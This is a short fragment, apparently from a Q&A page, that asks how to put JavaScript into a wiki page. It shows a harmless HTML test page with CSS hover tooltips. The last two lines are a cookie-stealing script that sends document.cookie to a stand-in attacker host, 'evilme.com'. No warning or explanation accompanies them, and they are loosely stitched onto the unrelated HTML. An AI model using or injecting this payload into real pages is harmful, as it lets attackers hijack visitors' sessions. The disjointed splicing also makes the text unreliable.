How to enter Javascript into a wiki page?

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;